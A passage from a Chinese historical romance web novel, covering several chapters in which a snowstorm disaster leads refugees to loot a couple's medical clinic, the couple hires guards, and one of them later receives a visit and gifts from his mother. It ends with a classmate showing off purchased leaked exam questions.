“这几日医馆忙,我想忙过这阵再回。”江金熙翻过身来,左手压在脑袋下,右手微伸抚住宋泊的脸,“也想再多陪你些日子再回。” “早些回去安全。”宋泊说。 “无事的,现在恒国国泰民安,官道每隔几里便有个官驿,阿朝又对回京城的路十分熟悉,晚几日回去也没事的。”江金熙答,这条京城到霞县的路他已经来回多次,安全是有保障的。 宋泊拉下江金熙抚在他脸上的手,挪到身后去,将他的手放在自己的后腰处,接着他一伸手,把江金熙揽在怀中,宠溺着道:“那便依你。” 江金熙一手抱着宋泊的腰,宋泊好像又瘦了一些,腰上的肉比以往少了,“你在县学里到底有没有好好吃饭啊。” “当然有。”宋泊道:“每日午时你来送饭时,拿回去的饭盒都干干净净,那可都是我吃干净的哩。” “那怎么还瘦了呢?”江金熙抱怨道。 “瘦了吗?”宋泊自己没有感觉,在县学中他一日三餐都按时吃,照理来说不会瘦的。 “许是用脑用得多了,吃下去的营养都被脑子用了去,这才瘦了吧。”宋泊解释道。 “不成,我要跟简言交代一句。”江金熙说:“等我回京了就由他给你送饭,饭量得是多多的,可得给你养胖才是。” 宋泊有意要逗弄江金熙,他故作苦恼道:“那等你回来我胖得大变样了,那可怎么办?” “没关系,胖点儿也好御寒。”江金熙应道。 好嘛,这就是情人眼里出西施,连胖的副作用都省了去,恐怕在江金熙眼中,他什么样都是好模样。 第120章 第一百二十章暴动。 这雪不大,却下了一整夜,宋泊醒来之时往窗外看去,还有点点儿雪花往下落。他刚掀开被子准备起身,寒气便灌了进来冻得他一激灵,今日比昨日更冷了,昨日三件衣裳即可,今日就得多套上一件,不然肯定会被冻傻的。 医馆开门没有那么早,宋泊梳洗完毕后到前院打扫卫生,昨日忙得太晚,大家都没来得及清理,他起得早,便趁着打扫卫生复习下脑海中的知识。 打扫卫生不用动脑,如此一来倒是一举两得。 医馆巳时初开业,也许是今天冷了,来得病人少了很多,一个时辰过去只来了个身体发热的病人。 趁着空闲,简言便跑出去把昨日跟周围商铺借的熬药炉子送回去。 医馆闲了下来,大家都守在各自的位置上,宋泊拿了本书坐在馆中,闲暇时看上两眼,忙起来就去帮忙。 “主君、郎君,官府贴了新的告示。”简言从外头跑进来,一张小脸红扑扑的藏在棉具中,常乐跟着他一起跑了出去,现下也一起跑了回来。 宋泊看着书,头抬也未抬地问道:“贴了什么告示?” “说今年是霞县近百年以来第一次下雪,要大家注意防寒、保暖,减少外出。”简言道。 他还了最后一个炉子往回赶的时候,正巧路过官府的公告栏,有两个身披披风的官差正在贴告示,他上去瞧了两眼,将告示上写的内容记了下来,还好宋泊教过他识字,不然他盯着告示只能发呆。 宋泊放下书籍,喃喃道:“第一次下雪。” 古代不比现代,随便个天灾都能死去很多人,霞县下了百年来的第一场雪,这就说明今年霞县出现了异常的天气,之后的气温可能会越来越冷,导致寒灾出现。 宋泊把书倒着放在桌上,起身走到医馆门口,手扶着门框往外瞧着。街上已经没有摆摊的摊贩,有些店儿也大门紧闭,这情况瞧起来不妙。 “金熙,你捎信回去吧。”宋泊走回医馆内,站到江金熙身旁。 江金熙正在检查昨日的看诊日记,闻言抬起头来看着宋泊,“可是担心了?” “天灾就要来了,之后只会越来越危险,我不放心你回京城。”宋泊蹲下、身子跟江金熙平视。 青桥瞧着外头地上浅浅的一层积雪,并不觉着是什么大事,北方年年下雪,这雪量还抵不上北方一个时辰落的雪量,在北方他们顶雪出行可是再正常不过。 青桥站在药柜前,说道:“宋公子可是有些担心过度了,这点儿雪而已,阿朝叔都不放在眼里。” 北方哪儿能跟南方相提并论,久未下过雪的南方忽而下了雪,便是异象。 宋泊知道青桥的事项没有他灵活,而且青桥还是京中江金熙的家侍,久久待在京城中不知偏远地区的苦也实属正常,他未跟青桥掰扯对错,而是直接与江金熙说:“青桥说的有理,可南方与北方不同,这点儿雪在北方确实看不上眼,可在南方便是大事,你也听简言说了,这是霞县百年难遇的雪,而且这雪并非下了一会儿就停,我怕这雪会变成天灾。” 江金熙的眼神跟着宋泊的身形一起移动,他瞧着宋泊眼里的担心,回京的想法开始动摇。 “天一冷下来,肯定会有人扛不住,到时世道就乱了。”宋泊牵住江金熙的双手,带着他的双手放到他的心口处,“就当是我杞人忧天,但是你别回去了,好吗?” 江金熙一边感受着宋泊活力的心跳,一边听着宋泊的话,他耳根子软了下来,点了头,“那我就捎信回去吧,下雪是特殊情况,爹爹和娘亲会理解我的。” 听着江金熙决定留下来,宋泊这才安了心。 青桥听着江金熙的决定也没有不高兴,江金熙是他的主子,主子在哪儿他就在哪儿。 既答应宋泊要留下来,江金熙把看了一半的看诊日记先放到一旁,随后拿了张干净的白纸出来,在上面写下自己不回去过年以及不回去的原因,洋洋洒洒写下来,写了满满一张信纸,让简言帮着送去县上的驿站。 驿站里的驿卒最是辛苦,无论烈日、寒风、大雨等各种恶劣天气,他们都得帮着送信,按理来说是这般的。 过了两日,驿卒将信送了回来。 “可是出了什么事儿?”江金熙接过驿卒退给他的信,心底直打鼓。 宋泊陪着他一起迎了出来,也是奇怪这信为何送不出去了。 “去往京城的路被大雪埋了,官府封了路,过不去了。”驿卒道。 霞县这两日断断续续下着雪,更北些的地儿雪只会比这儿更大,只是宋泊没想到那雪居然会大到把官道给埋了,现下霞县通往京城的路被封死了,事情好似更严重了。 “多谢兄台送信回来,可是辛苦了。”宋泊从怀里掏了二十个铜板交到驿卒手中,“可得麻烦兄台,路一通来通知我们一声。” 驿卒欣然收下二十铜板,应下了这事儿。 待驿卒走后,江金熙拿着信走入医馆,“真是天灾来了。” “别担心,我已经叫简言去买了足量的粮食和炭火,只是下雪而已,不妨事。”宋泊揽住江金熙的肩膀,说:“等路一通,咱们就多加些钱,加急把信送回京城就是。” “好。”江金熙应道。 雪一直断断续续下着,一连下了十天,寒灾不比水灾柔和,水灾淹了水还能救回来,寒灾冻死的人可能是一觉便没了,再加上寒灾可以靠堆砌衣服硬生生保暖下来,故而来医馆的人并不太多,没什么太严重的病,大家都选择在家中硬撑熬过去,生病还有可能好,冻死就真的没了。 因着寒灾发生,街上渐渐出现乞讨的百姓,他们的脸被冻得通红,身上穿的也是有补丁的衣裳。 江金熙看不过去,让简言买了些馒头分给街上看着的乞丐,他们抱着馒头感恩戴德地叩谢江金熙,倒是吓了江金熙一大跳。 就在这般恶劣的天气中,春节来了。 今日医馆未开张,街上的店铺几乎也都关门了,宋泊和江金熙便只能自己捯饬着除夕的围炉宴。 寒灾之前,宋泊叫简言出去买了粮食,现在家中米、面还够,也有些青菜和猪肉,做一顿除夕宴绰绰有余。 只是现在特殊情况,宋泊不敢往外挂灯笼、贴春联,别人或许还在苦渡难关,他们却大喇喇地喜迎春节,这般行为可能会引起那些平民百姓的怨恨心,徒增麻烦。 “今天晚上吃什么?”江金熙在前院把昨日的看诊日记检查过一遍以后,猫进了后院厨房。 “吃古董羹好不好?”宋泊扭头回问江金熙。 “那当然好。”江金熙欢快应声,外头又飘了雪花下来,今日温度比前几日又冷不少,这种寒冷的天气,最合适吃古董羹,五人一狗聚在一起,热腾腾的古董羹翻滚着,那气氛只是想便觉着热闹了。 “不过晚上我想吃面。”江金熙几步走到宋泊身旁,俏皮道:“你能再给我做面吃吗?” 南方吃面较少,江金熙来到南方以后,每月只能吃着几次面,难得宋泊休了春节假有闲暇时间,他有些想念之前在近里村时吃到的宋泊专门给他揉的面。 “自然。”宋泊想也未想便应了声。 午时大伙儿简单吃了顿午饭,下午时间五个人都在厨房里忙碌,常乐虽然没有跑到厨房当中,但它趴在厨房门口,守着众人。 夜幕降临,今日天上飘着浓厚的云,将月亮和星星全都遮了去,天比以往更阴沉些。 后院没有吃饭的厅儿,宋泊便将古董羹端到前院医馆中,这里位置大,容纳五个人坐下也不碍事。 五人在自己的位置上坐好,因着是自家人吃饭,所以没有那么多规矩,宋泊和江金熙先动了筷子,其他三人见他们两人动了筷,他们才敢夹肉烫肉。 五人正吃得起劲,忽而听着门外传来骚动。 宋泊赶紧让大家噤声,甚至把馆内的蜡烛和古董羹下炉子的火都熄灭了。 整个前院陷入黑暗,宋泊弯着腰,缩到窗户边,用指尖小心将窗户纸捅出个洞来,他瞧着外头,不少人拿着锄头、木棍往这条街上来,他们皆面容枯瘦,像是灾民。 瞧着街上有挂红灯笼、贴了喜帖的地儿,他们二话没说便冲上去将别人的门砸了去,而后闯进去,像强盗一般。 宋泊心跳加快,他让大家迅速弯腰退至后院,然后将后院门栓栓上。 江金熙见宋泊这副紧张的模样,他也跟着紧张起来,问道:“你可瞧见什么了?” “灾民上街闹事了。”宋泊道。 官府送给他的这个商铺有后门,宋泊怕后门被人闯进来,让阿朝过去把门栓栓好。 两个门全都用门栓栓好,宋泊才稍微安心一些。 “公子,他们怎么敢,县里可是有官差的呀。”青桥没见过这种阵势,他小声问着江金熙。 “寒灾来了,不少人因此流离失所吃不上饭,为了自己也为了家人,迫不得已走上这条道。”江金熙说,他之前见过南面水灾时的模样,天灾最是害人,大家都快活不下去了,哪儿顾及得了礼义廉耻。 自己在受苦,别人却在快乐地过春节,这般不公平的待遇让他们哪儿吞得下这口气,一方面为了抢些食物,一方面也为了给那些安逸之人一些教训,所以街上才会出现灾民暴动。 120-130 第121章 第一百二十一章护院。 宋泊让阿朝与他一起,搬了些重物挡在后院前门,后院后门出口隐蔽,暴民们从街上一路强闯进去,应当不会去找后门。 一刻钟过去,宋泊听着前院有了动静。 暴民闯进了医馆。 “你们先去找个地儿躲起来。”宋泊拉过江金熙,在他耳边小声说着:“我与阿朝守在前门。” “那你们小心些。”这个时候不是硬赖着不走添乱的时候,江金熙应了宋泊的话,一左一右拉着青桥和简言躲进主卧中。 常乐觉察着不一般的气氛,闭着嘴一声也不敢叫唤,它瞧着主人守着前门,它也跟着趴在前门蓄势待发,只等有人冲进来就将他撕碎。 宋泊和阿朝一人拿了把武器,神经紧绷地守在门口,宋泊是头一次遇上这样的事儿,他的双手紧紧抓着木棍,心跳飞快,他本身不会武,若有人闯进来他就只能硬着头皮上。 还好,那些暴民在前院待了一会儿便走了。 宋泊一直不敢开门,那些暴民就算走了也只是在街上的其他店铺中。 阿朝瞧着宋泊满头大汗,他轻声问了句,“宋公子,你还好吗?” 宋泊抬手用衣袖抹去额头上的汗,道:“还好。” 又在门口等了一个时辰,门外已无动静,宋泊和阿朝才把手中的东西放下,去屋内寻江金熙他们。 外面情况不定,这个时候还是一家人聚在一块儿相互有个依靠比较安全。 江金熙把卧房内的蜡烛全部点燃,大家就待在这个房内坐着,谁也不敢休息。 瞧着大家狼狈的模样,江金熙笑道:“这个除夕还挺特殊的,饭还没吃饱,就被逼到卧房里待着。” 宋泊与江金熙一起坐在床上,说:“是呐,现在去用厨房恐怕只会引来暴民。” 厨房装了消烟囱,一旦生火就会飘出渺渺炊烟,这个时候可不兴冒烟,只能吃些熟食。 江金熙离宋泊离得近,宋泊靠着他的手还在微微颤抖,想必是心惊着还未缓过来。 暴民冲进来只能由他和阿朝顶着,如此定是压力十足。 江金熙没说话,只是瞧瞧靠着宋泊,双手挽着宋泊的手臂,以此给他支持。 宋泊知道江金熙的用心,没有将他的脆弱揭露在大家面前。 五人待在卧房内,交替着守夜,一夜倒也还算安稳。 翌日,雪停了,太阳冉冉升起,阳光铺洒大地,昨日的事儿就像没发生一般。 宋泊贴着前院门听了一阵,确定无半点儿声响以后,才大着胆子打开一条缝,医馆已经被掠夺一空,连煮古董羹的炉子都被搬走了去。 忽然,门口传来整齐划一的脚步声,听来不像毫无章法的暴民,宋泊手抓着门边,露着一只眼睛瞧着外头,若来者不善,他和阿朝就马上将门关上。 “宋榜首,你们没事吧!”身着官服的捕快出现在宋泊面前,宋泊悬了一夜的心,现在终于落回原位。 宋泊将门打开来,迎着捕快行了一礼,随后说道:“我们都无事,只是昨日究竟发生何事?” “昨日是县里一些小镇的暴民闹事,现在闹事者都被抓了。”捕快道。 “如此便好。”宋泊道。 捕快点了下宋泊医馆中的损失,说着过两日会拿些银两来,作为损失补贴,也就院试榜首能有这般待遇,其他普通商家被强夺只能自认倒霉。 捕快走后,宋泊他们开始整理前院,药柜里的草药全都被带走了,昨日他们准备烫的食材也全都被拿走了。 宋泊瞧了眼其他商铺,他们这儿的损失是最小的,不过没了些草药和食材,其他店铺门窗都被砸了,整个店瞧着破烂不堪。 “好了,现在医馆可得歇业几天了。”江金熙把药柜中的柜子一个个打开来,只希望能找着些幸存草药,只可惜那些人跟蝗虫一般,一点儿草药也没给江金熙留。 宋泊扶起一把椅子说道:“暴民的事儿刚发生,现在应该也没人敢出来看病,如此咱们歇息几日也好,当放假了。” “是呐。”江金熙整理着自己的看诊日记,这东西对暴民们来说没用,他们只翻了几页便随便扔了。 “可吓死我了,还好他们拿了东西就没再往里闯。”青桥道。 “对呀,我也快吓死了。”简言也跟着说道。 暴民闹事不常见,青桥住在天子脚下没见过,简言年龄小也没见过,两人被昨天的阵势吓得,今日想起来都止不住打颤。 多亏了这事儿,宋泊才发现他们医馆里缺了护院。 这事儿发生时他正好休息在医馆中,若是他不在医馆,那些暴民闯进来只靠阿朝一人是远远不够的。医馆里还有两个哥儿一个小孩,他必须得护他们周全。 等事情过了,稍微风平浪静以后,他便打算去聘几个护院来,什么人都可以少,护院可千万少不得。 官府的公告很快就贴了出来,暴民们强闯商铺掠夺东西是不争的事实,哪怕他们是为了自己,为了家人所抢,也得按着恒国律法按上罪名。 不过因着使事出有因,杨知县还是往上呈了帖子,上一级又往京城呈帖,最终这些暴民的结果过了一月才出,死刑可免,却得给官府做工,直到付清赔偿款为止。 官府的补偿补贴很早就送到了,春节过后五日,也就是一月五日,百安馆重新开始营业。 吴末家不在霞县,春节前头江金熙瞧着馆内病人不多,便让吴末提早回了家,故而吴末根本不知霞县被抢了,还是今日回了医馆,发现药柜中的药材少了极多,他还以为是春节期间来了几个重病患者将药都用了去,细问之下才知道,原来都是被灾民抢了。 吴末听着也是一惊,得到店里人都还安好的消息,他才放心,“没想到居然有暴民敢上街抢掠了。” “是呐,还好都被抓了去,街上也恢复宁静了。”江金熙应声。 街上的店铺开始慢慢恢复营业,宋泊一直将找护院的事儿放在心尖上,一瞧着哪家牙行开业他便去问,只是一直问着都不满意,直到回县学了也没买到合适的护院。 午时宋泊和路砚知在食堂里吃着午饭,路砚知说道:“宋弟,你瞧着县府贴出来的公告了吗?” “什么公告?”宋泊问。 “就是那个灾民暴动的公告呐!”路砚知说。 路家是个大族,春节需要聚在一起吃围炉饭,路砚知老早便和家里人回了银湖州的老宅,前两日回到霞县才发现家里的店居然被灾民掀了。 “瞧着了,那都是十几日前的事儿了。”宋泊道。 “没想到我家饭馆也被掀了,我早跟我爹说了店里护院不多,他偏不听,就雇那么几人有什么用。”路砚知边嚼着肉边说着。 “你们家有护院?”宋泊问。 路砚知将口中的肉吞下,而后道:“当然有了,做生意的谁家没几个护院呢?” 瞧宋泊噤了声,路砚知夹菜的动作一顿,他带着一丝试探,问:“宋弟,难道说你们的医馆中没有护院?” 宋泊轻点了下头,路砚知本来筷子中夹着的肉又落回盘中,“也是怪我,当初去你们医馆的时候,怎么没发现这事儿呢!” 开业的时候路砚知没去,但之后他抽了个休息的时间上医馆瞧了,觉着什么都挺好便就携礼过了,没想到却把护院这事儿忘了,难怪他当时觉得店里少了些人,原来是少了长得又高又壮的护卫。 “你们医馆也被抢了吗?”路砚知追问。 “药柜中放的草药全都没了。”宋泊苦笑着答道。 虽然说官府给了补贴,但完全填不上草药的空,那一柜子的草药花了江金熙五十多两银子,官府只补了十两,他们还净亏四十多两。 “那些人也是没良心,连救命的医馆都抢。”路砚知说:“我爹雇的护院都是从镖局请的,要不要帮你介绍几个?” “镖局?”宋泊一听这个地儿还有些愣,他一直以为护院只能去牙行买些壮硕男子回来自己培养,没想着还能直接去镖局雇佣现成的。 “是呐。”路砚知解释着,他们家族家大业大,自不可能蜗居一处,因着要将货物运往北方,所以与镖局有了往来,镖局中的能人极多,请他们来当店里的护院自是安心得多。 “雇佣一人需要多少银两?”宋泊问。 这种护院不比普通护院,雇佣的价格定然会高上不少。 “我有些忘了,好像是三两一月。”路砚知道:“一些厉害的人还会更贵,薪资上不封顶。” 三两一月,这个薪资水平确实高,不过若有真本事,宋泊倒也愿意付这般高的价钱来护医馆平安,毕竟除了天灾,还有可能会有人祸,医闹闹起来也是十分危险的。 “那就麻烦令尊帮我瞧瞧,请两位稍微有些本事,一月五两的护院就行。”宋泊道。 他们的医馆不大,请两个护院再配上吴末和阿朝便够了。 “好嘞!”路砚知欣然应声。 第122章 第一百二十二章江夫人。 一月三十日早晨,宋泊两手空空从县学中出来,不过休假两日,无需带上什么行囊。 路砚知推荐的护院已经在百安馆工作了几日,宋泊这次便是想着回去瞧瞧两位价值五两的护院究竟有何本事。 这医馆还没走进去,便看着一辆华丽的轿子停在医馆门口,这轿子由两匹马儿拉着,有一车夫正拉着套在马上的缰绳要往后院去,车厢用绣有暗纹的锦布包裹,车厢上头挂了个旗子,宋泊认识这个旗子,阿朝带江金熙来的那辆马车上,也有这个旗子。 这是江家的马车,江家来人了。 就算是宋泊,意识到江家来人了也会紧张,能坐着这种档次的马车来到霞县,除了江夫人,宋泊想不到其他人。 江丞相身居高位,日理万机,大概率没有时间到县里来。 只是不知江夫人这次来是有何事。 宋泊站在医馆外先低头看了看自己的衣裳,确定没半点脏污,再把褶皱处捋平,他深吸了口气,整了好情绪,跨步踏入医馆。 一走进医馆,宋泊就瞧着江夫人坐在馆中,洪嬷嬷站在她身侧,江夫人后头还站了四个壮硕男子。 “江夫人。”宋泊走至江夫人面前立即弯腰行礼。 “你回来了。”江夫人笑着看着宋泊。 江金熙正在给病人看诊,暂时没时间出来相迎,只能由宋泊先陪着江夫人,他泡了壶茶,给江夫人倒上一杯轻放在江夫人那侧的桌子上,而后问道:“不知江夫人此次来是有何事?” 江夫人拿起茶盏小呡了一口,说:“也没什么事儿,就是来瞧瞧金囝罢了。” 除夕前江金熙未回丞相府,人未回来就算了,信也没捎回来一封,江丞相和江夫人正生气呢,便听着南面出了寒灾,寒灾后还有几处出了灾民暴动事件,这下江丞相和江夫人坐不住了,一打听着去往南方被雪堵了的官道通了后,江夫人立即坐了马车来,怕路上不安全,她还带上了府中四个身手最好的护卫,如此江金熙若有需要,她还能留下两人帮忙。 宋泊细细思索着最近发生了什么事会让江夫人千里迢迢从京城赶来,想来想去,只能想着春节期间的寒灾,想来是江夫人担心未归的江金熙,这才大老远坐了马车来。 江夫人慢慢将茶盏放在桌上,她环顾医馆之内,前院医馆位置小,坐在椅子上无需动身便能看个彻底,前台有个算账师傅正在算病人的诊金,青桥在药柜前仔细包药,有个小孩在医馆内跑来跑去送东西,还有两个长得高壮的男子分立医馆左右。 医馆内用实木板分出几个小房间,房间门口都挂着一帘门帘,若有掀开衣服的需要,江金熙和吴末便会把那门帘拉上,以隔绝外面的视线。门上的门帘已然拉上,她的金囝此时便在房间内给病人看诊。 将医馆的人员配置和馆内布局记于心中,江夫人道:“这就是你与金囝开的医馆?” 从江夫人的语气中听不出她是满意还是不满意,宋泊斟酌着话语,开口道:“是的,这地儿是我得榜首时官府送的,占地不大,开个医馆却也够了。” “你倒是提醒我了。”江夫人轻摆了下手,洪嬷嬷小步上前,屈身在江夫人身侧,江夫人跟洪嬷嬷说了句话,洪嬷嬷应下后便往后院去了。 江夫人的马车停在后院,洪嬷嬷应是要去帮江夫人拿些东西。 洪嬷嬷年纪大,但腿脚依旧利索,不过几个眨眼瞬间,她就从后院回来,回来时手里多了个匣子,匣子由乌实木所做,两掌大的匣子上刻满浮雕,仔细瞧来可是鲤跃龙门的纹样。 江夫人抬手接过洪嬷嬷递来的匣子,两眼弯着笑道:“这是恭喜你得了院试榜首的贺礼。” 这匣子一看便价值不菲,不过一个院试榜首而已,还不配拿着这般贺礼。 宋泊谦道:“这礼可是重了,宋泊受不起。” “诶。”江夫人先出了一声,而后再道:“你怎就知这是重礼,没准我用了个好匣子却只装了个树枝呢?” “即便是树枝,与宋泊来说也是重礼。”宋泊想也未想便接话道。 虽说江夫人明白宋泊说的是恭维之语,但谁不爱听好话呢。 “不是什么重礼,你收了就是。”江夫人把匣子递给宋泊。 既然江夫人如此说,宋泊再不收便是拂了江夫人的面子,无法,宋泊双手捧过匣子,应声:“多谢江夫人。” 江夫人见宋泊把贺礼收了便放在一旁,她道:“你不打开瞧瞧是什么?” 听江夫人这意思,似乎是想瞧他当面开贺礼,宋泊拿过匣子,把匣子放至正面对着自己,他打开匣子盖,里头放的是一块砚。这块砚呈长方形状,面儿能瞧着的地方并无装饰,砚台简朴,掂量起来轻巧不沉,正是读书人最喜欢的那种不占地不占力的砚台。 这礼送给读书人当真是投其所好,宋泊瞧着这块砚台也是满眼欢喜,“多谢江夫人,我定会好好用着这块砚的。” “今年在拿个乡试榜首就是。”瞧着宋泊高兴,江夫人眼中笑意更甚。 她家金囝真是一心扑在此人身上,到了这发展不盛的南面竟一封抱怨苦、抱怨累*的信都未送回去,甚至还与他开了一个医馆。开店这事儿她省得,无论何种店铺,总归是累极,她刚刚偶瞧着江金熙,却见他笑容满面,想来开医馆应当是她家金囝的主意。 只是做父母的谁不心疼自己孩子,江夫人只想着宋泊早日考取功名,上京分个官职,无论官职大小,凭功名娶金熙,在定居于京城最是完美。 如此她瞧着宋泊也是满意几分,此人勤学上进,今年应是能听着好消息,不然她也不会将家中珍贵的隐墨砚赠与他。 “回去以后记得饭前吃药,生冷腥寒的东西先放一放。”江金熙撩开门帘从里头走出来,转着脑袋与病人交代着。 诊病治人是江金熙的专长,此刻的江金熙身在发光,实在耀眼。宋泊不是第一次瞧着江金熙工作的模样,只是每次看来都会禁不住被他吸引。 病人听着江金熙的话连连点头,江金熙把药方给他,让他去找青桥抓药。 “娘亲,可是久等了?”江金熙闲了下来,往江夫人这儿走着,宋泊从位置上起来,给江金熙腾位子。 离江夫人最近的位置便他坐的这个位置,江金熙和江夫人许久未见应该有很多心里话想说。 “不久,瞧着医馆运作也挺有趣的。”江夫人道。 江金熙在宋泊给他让的位置坐下,宋泊帮他倒了杯新茶,之后坐在江金熙的身边。 江金熙拿起茶盏一口将茶水饮尽,刚刚交代病人说得他口干舌燥,现下被茶水润了润,他才说道:“娘亲,你怎的来了?这路途遥远,有什么事儿送封信、派个侍人来就是。” “你还说呢。”与江金熙说话,江夫人无需端着架子,“你来到这南方,不回家过年也不知捎信回家!可是要将你爹与我气死?” 经江夫人这么一提醒,江金熙才想起来那封被驿卒退回来的信未在寄出,当时他还记着要寄信,可被暴民的事儿一打岔,就把寄信这事儿搁在一旁给忘了。 江金熙讪讪笑着,不好意思地摸了下后脑勺,替自己辩解道:“我寄信了的!只是官道被雪埋了,信被退了回来,又发生暴民袭击的事儿,我一忙起来忘、忘了。” “暴民袭击?”江夫人听着这四个字,没在追究江金熙忘了寄信的事儿,她急忙从位置上站起来,双手牵着江金熙的双手将他从位置上拉起来,从脑袋到脚,自上而下地瞧着江金熙的身子,道:“你可有受伤?” 送去京城的信里只说南面出现灾民暴动,却未说是哪个地方,没曾想江金熙和宋泊如此“幸运”,正好就在发生过暴动的地儿。 “我没受伤。”江金熙笑着松开江夫人的手,直接在江夫人面前转了好几个圈,展示自己未受伤后,他停下来说:“那些灾民将草药抢了便走,故而我们未与他们正面迎上。” 听江金熙这么说,江夫人的心才安定下来,“那便好,此次我来除了看看你,便是为了这事儿,我从家里带了四个护卫,留两人在你这正好。” “娘,不用的。”江金熙拉着江夫人的手,两人重新在椅子上坐下,江金熙指着站与左、右两侧的壮汉,说:“这是宋泊从镖局请来的护院,这两人可厉害哩,有他们护着医馆不会再出事的。” “镖局护院和我们府上的护卫哪儿能一样。”江夫人道:“我看我还是留两个人在这儿,护卫本就不嫌多。” “娘——”江金熙撒娇道:“我们刚被灾民掠过,现下正是难捱的时候,又加两个人吃饭,这吃食就是一笔不小的开支。”他窝在江夫人耳边,小声耳语,“你就让这四个护卫护你回去,这样我才安心。” “你只管你安心,不管我安心呐?”江夫人捏着江金熙的鼻尖,“你知道在京城收到灾民暴动的事儿我和你爹多担心吗?” 江金熙挽着江夫人的手,“我错了嘛。” “错了就收下两个护卫。”江夫人道。 “只两个护卫送你回去我不放心。”江金熙道,江夫人对京城到霞县的官道没有他熟悉,而且她坐的马车比他的马车要华丽许多,容易被歹人盯上,只带两个护卫回去江金熙实在是放不下心,“这样如何,这四个护卫先送你回去,等你到了京城在派几个护卫下来,如此不是两全其美?” “就你机灵。”江夫人笑了,她家金囝还是脑子转得快,这下她也没办法硬留两个护卫了。 第123章 第一百二十三章乡试前 江夫人没有在霞县久待,一方面是这里生活不方便要什么什么没有,她在丞相府被人伺候惯了,一到这儿便觉着浑身刺挠,只想早些离开,另一方面是府上还有其它事情要她处理,她不能离开京城太久,不然事务堆积起来,等她回去可得处理个三天三夜不可。 二月三日,宋泊回到县学之中,只有江金熙一人站与马车边与江夫人道别。本来宋泊想请一个半天的假,来陪江金熙送江夫人离开,但江金熙和江夫人都觉着二月已离乡试不远,此时的时间更是一分也浪费不得,便劝说他回县学读书去了。 “挑个空回家看一眼,今年春节你未回去,你爹可想你了。”江夫人劝道。 江丞相是个执拗性子,总觉着说“想”这个字很是矫情,但江夫人与他成婚许久,江丞相心里在想什么她早就一清二楚,明明心里就想江金熙想得紧,还只叫她给江金熙一些钱花,只字未提要江金熙回家的事。江丞相说不出口的话,江夫人代他说出。 “我知道的,我会找时间回去一趟,你回去后也记得跟爹爹说,我也想他。”江金熙道。其实他本可以与娘亲一起回去,但因为春季雪融以后最易生病,医馆里还没请其他医师帮忙,他若回了京城,重担就都落在吴末身上,所以江金熙还是想着等找到一个合他心意又医术好的医师分担馆内看诊事宜,他再挑一个月回去一趟。 “好。”江夫人应声,她瞧着自家金囝面红齿白一个美人模样,道:“不过有些事我要与你说说,你可别嫌我烦。” “怎么会!”江金熙在江夫人面前总是忍不住要撒娇,“我才不会嫌你烦呢。” 江夫人认真瞧着江金熙,“那我要再多嘴一句了。” “娘亲你说。”见江夫人态度严肃,江金熙跟着也停止了嬉笑。 江夫人压低音量,用只有她、江金熙和洪嬷嬷三人能听到的声音与江金熙说:“还未成婚之前,那种事儿可不能做哦。” 没曾想江夫人说的是这事儿,洪嬷嬷听了后捂着嘴在一旁小声笑着,江金熙涨红了脸,他轻轻打了江夫人胳膊一下,嗔怪道:“娘亲!” 江夫人面带笑意跟江金熙说:“这点很重要,千万记得。” 江金熙面色如红苹果,应声,“我知道的。” 驾车的马夫过来与洪嬷嬷说了句话,洪嬷嬷转头与江夫人小声道:“夫人,启程的时间到了。” 江夫人在洪嬷嬷的搀扶下踩着脚凳上了马车,她掀开马车内的窗帘,道:“好了,我先走了,瞧你这般面色红润我也就放心了。” “娘亲路上小心,回到家记得给我捎信。”江金熙说。 如今的恒国国泰民安,除了天灾时可能会发生的突发事件,其余时间恒国境内都是很安全的,江夫人有四位身手不凡的护卫相护,又走在几十里便有一个官驿的官道上,想来应该是一路平安。 马夫吹起一声哨响,束着马的缰绳一挥,领头马跑了起来,车咕噜转动,后头的车厢被带着也动起来。 江金熙就站在原地与江夫人挥手道别,直至瞧不见马车车厢他才转身回了医馆。 回了医馆,江金熙还未坐下歇会儿,便有新的病人前来看诊,等江金熙忙活完了,天色已然黑了下来,这雪化去之时最是寒冷,江金熙起身把医馆的窗户关小一些,拉拢披风在诊桌边坐下,准备写今日的看诊日记。刚把抽屉打开,拿出里头放着的看诊日记,便瞧着底下有一个绸布绣成的钱袋,这钱袋江金熙非常眼熟,他家娘亲最喜用这种钱袋,上头绣的纹样也是娘亲最喜欢的红牡丹。 这钱袋是谁放的不言而喻,江金熙把钱袋从抽屉中拿出来,面上带着柔和的微笑,娘亲也真是的,什么时候猫进他的诊间把这东西放在这儿的。 江金熙把钱袋打开来,里面放了两张纸,一张是一百两的银票,一张是江夫人写的小纸条。 “可劲儿花!不够给娘捎信,娘再给你寄来。” 看着这张纸条,一滴热泪从江金熙的眼眶流出,他一抹眼泪,把纸条放在胸口,娘亲离开的寂寥感在这个时候才显现出来。 六月初九,离乡试还有两月时间,县学内气氛紧张,尤其是以乡试为目标的乡字班,个个学子都绷紧了神经。 今日夜,宋泊正坐在宿舍内复习白日夫子教授的内容,便瞧着路砚知跟做贼一般,轻手轻脚从宿舍外进来,又一个利落把宿舍门、宿舍窗关了个严实。 六月初刚入夏季,窗户大开能让外头的风吹进宿舍中,带来一丝凉爽,现下路砚知把门窗紧闭,宋泊不解:“路兄为何将门窗紧闭?可是出了什么事?” “没出事。”路砚知将自己的音量尽可能减小,他猫到宋泊身旁,从怀里拿出几张纸。 “不过几张纸,为何这般贼人做派?”宋泊未瞧着纸上内容,但不过只是几张散装的白纸,如何能让路砚知如此小心翼翼。 “宋弟,你瞧瞧上头的内容。”路砚知把纸张平铺在宋泊的书桌上,这不瞧不知道,一瞧才发现这纸上居然预测了下回乡试的考题,甚至还把每道题的答案都写得完完整整。 “你这是从哪儿得来的?”宋泊问。 “你就甭管了。”路砚知没有说明这几张纸的来历,他们这本就是作弊之事,大伙儿都心照不宣,不会供出给东西的人,路砚知既然买了这东西,自然也得守他们的规矩。 “你瞧瞧,这几张纸可有可信度?”路砚知问。 乡试对他来说十分重要,他不是宋泊这样天生的文曲星,想要一举成为乡试榜上之人,还需花上百分之两百的努力,今日他偶然间听着有人贩卖乡试考题,抱着买来只是花些银子的想法,他便与那人买了来,这几张纸细细瞧来确实像那么一回事,可路砚知还是相信宋泊,得由宋泊开口说这东西有可信度,他才能放心学。 “这里头的考题确实有可能出现在乡试之中。”宋泊道,恒国皇帝治国有方,在国家安稳的基础上,他便想让百姓们过得更幸福一些,故而近几年科举考试的考题多与民生有关,“不过我劝你最好是看着题目自己写,这上头的答案一眼也别瞧。” “那怎么办。”路砚知哭丧着一张脸,“我已经看过答案了,我还觉这答案好,背了些许。” 